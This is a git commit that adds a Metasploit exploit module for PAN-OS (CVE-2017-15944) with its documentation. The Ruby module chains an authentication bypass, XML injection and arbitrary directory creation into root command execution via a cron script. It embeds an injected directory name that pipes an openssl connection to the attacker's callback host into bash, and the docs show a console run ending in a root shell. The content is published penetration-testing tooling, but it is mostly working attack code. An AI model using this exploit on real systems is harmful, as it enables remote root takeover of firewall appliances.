Land #9980, PAN-OS readSessionVarsFromFile exploit
parent
78f546ce81
commit
0aaae09e5c
|
@ -0,0 +1,59 @@
|
||||||
|
## Description
|
||||||
|
|
||||||
|
This module exploits a chain of vulnerabilities in Palo Alto Networks products running
|
||||||
|
PAN-OS versions prior to 6.1.19, 7.0.19, 7.1.14, and 8.0.6. This chain starts by using
|
||||||
|
an authentication bypass flaw to to exploit an XML injection issue, which is then
|
||||||
|
abused to create an arbitrary directory, and finally gains root code execution by
|
||||||
|
exploiting a vulnerable cron script. This module uses an initial reverse TLS callback
|
||||||
|
to stage arbitrary payloads on the target appliance. The cron job used for the final
|
||||||
|
payload runs every 15 minutes by default and exploitation can take up to 20 minutes.
|
||||||
|
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
This exploit was specifically written against PAN-OS 7.1.0 running in a QEMU (kvm) virtual machine.
|
||||||
|
This VM is not generally available, but the specific disk image used was `PA-VM-KVM-7.1.0.qcow2`.
|
||||||
|
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Start msfconsole
|
||||||
|
2. ```use exploit/linux/http/panos_readsessionvars```
|
||||||
|
3. ```set RHOST [IP]```
|
||||||
|
4. ```exploit```
|
||||||
|
5. You should get a session (eventually)
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
**CBHOST** The callback listener address if the default is not accurate (port forwarding, etc)
|
||||||
|
|
||||||
|
**CBPORT** The callback listener port
|
||||||
|
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 exploit(linux/http/panos_readsessionvars) > exploit
|
||||||
|
|
||||||
|
[*] Started reverse TCP handler on 192.168.122.1:4444
|
||||||
|
[*] Creating our corrupted session ID...
|
||||||
|
[*] Verifying that we can access the debug console with our corrupted session ID...
|
||||||
|
[*] Calling Administrator.get to create directory under /opt/pancfg/mgmt/logdb/config/1/...
|
||||||
|
[*] Waiting up to 20 minutes for the cronjob to fire and execute...
|
||||||
|
[*] Waiting for a session, 1200 seconds left...
|
||||||
|
[*] Waiting for a session, 1169 seconds left...
|
||||||
|
[*] Waiting for a session, 1138 seconds left...
|
||||||
|
[*] Waiting for a session, 1107 seconds left...
|
||||||
|
[*] Waiting for a session, 1076 seconds left...
|
||||||
|
[*] Waiting for a session, 1044 seconds left...
|
||||||
|
[*] Waiting for a session, 1013 seconds left...
|
||||||
|
[*] Waiting for a session, 982 seconds left...
|
||||||
|
[*] Waiting for a session, 951 seconds left...
|
||||||
|
[*] Waiting for a session, 920 seconds left...
|
||||||
|
[+] Sending payload of 67 bytes to 192.168.122.98:39499...
|
||||||
|
[*] Command shell session 7 opened (192.168.122.1:4444 -> 192.168.122.98:44858) at 2018-05-05 15:45:02 -0500
|
||||||
|
[!] Remember to manually purge the base directory: 'rm -rf /opt/pancfg/mgmt/logdb/config/1/'
|
||||||
|
[*] Shutting down payload stager listener...
|
||||||
|
|
||||||
|
id
|
||||||
|
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
|
||||||
|
```
|
|
@ -0,0 +1,198 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Palo Alto Networks readSessionVarsFromFile() Session Corruption',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a chain of vulnerabilities in Palo Alto Networks products running
|
||||||
|
PAN-OS versions prior to 6.1.19, 7.0.19, 7.1.14, and 8.0.6. This chain starts by using
|
||||||
|
an authentication bypass flaw to to exploit an XML injection issue, which is then
|
||||||
|
abused to create an arbitrary directory, and finally gains root code execution by
|
||||||
|
exploiting a vulnerable cron script. This module uses an initial reverse TLS callback
|
||||||
|
to stage arbitrary payloads on the target appliance. The cron job used for the final
|
||||||
|
payload runs every 15 minutes by default and exploitation can take up to 20 minutes.
|
||||||
|
},
|
||||||
|
'Author' => [
|
||||||
|
'Philip Pettersson <philip.pettersson[at]gmail com>', # Vulnerability discovery
|
||||||
|
'hdm' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2017-15944'],
|
||||||
|
['URL', 'http://seclists.org/fulldisclosure/2017/Dec/38'],
|
||||||
|
['BID', '102079'],
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Dec 11 2017',
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Privileged' => true,
|
||||||
|
'Payload' => {'BadChars' => '', 'Space' => 8000, 'DisableNops' => true},
|
||||||
|
'Targets' => [['Automatic', {}]],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DefaultOptions' => {'WfsDelay' => 2}
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(443),
|
||||||
|
OptBool.new('SSL', [true, 'Use SSL', true]),
|
||||||
|
OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
|
||||||
|
OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
|
||||||
|
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
|
||||||
|
|
||||||
|
# Start a listener
|
||||||
|
start_listener(true)
|
||||||
|
|
||||||
|
# Figure out the port we picked
|
||||||
|
cbport = self.service.getsockname[2]
|
||||||
|
|
||||||
|
# Set the base directory and the staging payload directory path name
|
||||||
|
base_directory = "/opt/pancfg/mgmt/logdb/traffic/1/"
|
||||||
|
command_payload = "* -print -exec bash -c openssl${IFS}s_client${IFS}-quiet${IFS}-connect${IFS}#{cbhost}:#{cbport}|bash ; "
|
||||||
|
target_directory = base_directory + command_payload
|
||||||
|
|
||||||
|
if target_directory.length > 255
|
||||||
|
print_error("The selected payload or options resulted in an encoded command that is too long (255+ bytes)")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
dev_str_1 = Rex::Text.rand_text_alpha_lower(1+rand(10))
|
||||||
|
dev_str_2 = Rex::Text.rand_text_alpha_lower(1+rand(10))
|
||||||
|
user_id = rand(2000).to_s
|
||||||
|
|
||||||
|
print_status("Creating our corrupted session ID...")
|
||||||
|
|
||||||
|
# Obtain a session cookie linked to a corrupted session file. A raw request
|
||||||
|
# is needed to prevent encoding of the parameters injected into the session
|
||||||
|
res = send_request_raw(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => "/esp/cms_changeDeviceContext.esp?device=#{dev_str_1}:#{dev_str_2}%27\";user|s.\"#{user_id}\";"
|
||||||
|
)
|
||||||
|
unless res && res.body.to_s.index('@start@Success@end@')
|
||||||
|
print_error("Unexpected response when creating the corrupted session cookie: #{res.code} #{res.message}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
cookies = res.get_cookies
|
||||||
|
unless cookies =~ /PHPSESSID=([a-fA-F0-9]+)/
|
||||||
|
print_error("Unexpected cookie response when creating the corrupted session cookie: #{res.code} #{res.message} #{cookies}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
create_directory_tid = 1 + rand(1000)
|
||||||
|
create_directory_json = JSON.dump({
|
||||||
|
"action" => "PanDirect",
|
||||||
|
"method" => "execute",
|
||||||
|
"data" => [
|
||||||
|
Rex::Text.md5(create_directory_tid.to_s),
|
||||||
|
"Administrator.get",
|
||||||
|
{
|
||||||
|
"changeMyPassword" => true,
|
||||||
|
"template" => Rex::Text.rand_text_alpha_lower(rand(9) + 3),
|
||||||
|
"id" => "admin']\" async-mode='yes' refresh='yes' cookie='../../../../../..#{target_directory}'/>\x00"
|
||||||
|
}
|
||||||
|
],
|
||||||
|
"type" => "rpc",
|
||||||
|
"tid" => create_directory_tid
|
||||||
|
})
|
||||||
|
|
||||||
|
print_status("Calling Administrator.get to create directory under #{base_directory}...")
|
||||||
|
res = send_request_cgi(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => '/php/utils/router.php/Administrator.get',
|
||||||
|
'cookie' => cookies,
|
||||||
|
'ctype' => "application/json",
|
||||||
|
'data' => create_directory_json
|
||||||
|
)
|
||||||
|
unless res && res.body.to_s.index('Async request enqueued')
|
||||||
|
print_error("Unexpected response when calling Administrator.get method: #{res.code} #{res.message}")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
register_dirs_for_cleanup(base_directory)
|
||||||
|
|
||||||
|
print_status("Waiting up to 20 minutes for the cronjob to fire and execute...")
|
||||||
|
expiry = Time.at(Time.now.to_i + (60*20)).to_i
|
||||||
|
last_notice = 0
|
||||||
|
while expiry > Time.now.to_i && ! session_created?
|
||||||
|
if last_notice + 30 < Time.now.to_i
|
||||||
|
print_status("Waiting for a session, #{expiry - Time.now.to_i} seconds left...")
|
||||||
|
last_notice = Time.now.to_i
|
||||||
|
end
|
||||||
|
sleep(1)
|
||||||
|
end
|
||||||
|
|
||||||
|
unless session_created?
|
||||||
|
print_error("No connection received from the target, giving up.")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
def stage_real_payload(cli)
|
||||||
|
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
|
||||||
|
cli.put(payload.encoded + "\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
def start_listener(ssl = false)
|
||||||
|
comm = datastore['ListenerComm']
|
||||||
|
if comm == "local"
|
||||||
|
comm = ::Rex::Socket::Comm::Local
|
||||||
|
else
|
||||||
|
comm = nil
|
||||||
|
end
|
||||||
|
|
||||||
|
self.service = Rex::Socket::TcpServer.create(
|
||||||
|
'LocalPort' => datastore['CBPORT'],
|
||||||
|
'SSL' => true,
|
||||||
|
'SSLCert' => datastore['SSLCert'],
|
||||||
|
'Comm' => comm,
|
||||||
|
'Context' =>
|
||||||
|
{
|
||||||
|
'Msf' => framework,
|
||||||
|
'MsfExploit' => self,
|
||||||
|
})
|
||||||
|
|
||||||
|
self.service.on_client_connect_proc = Proc.new { |client|
|
||||||
|
stage_real_payload(client)
|
||||||
|
}
|
||||||
|
|
||||||
|
# Start the listening service
|
||||||
|
self.service.start
|
||||||
|
end
|
||||||
|
|
||||||
|
def cleanup
|
||||||
|
super
|
||||||
|
if self.service
|
||||||
|
print_status("Shutting down payload stager listener...")
|
||||||
|
begin
|
||||||
|
self.service.deref if self.service.kind_of?(Rex::Service)
|
||||||
|
if self.service.kind_of?(Rex::Socket)
|
||||||
|
self.service.close
|
||||||
|
self.service.stop
|
||||||
|
end
|
||||||
|
self.service = nil
|
||||||
|
rescue ::SocketError
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# Accessor for our TCP payload stager
|
||||||
|
attr_accessor :service
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue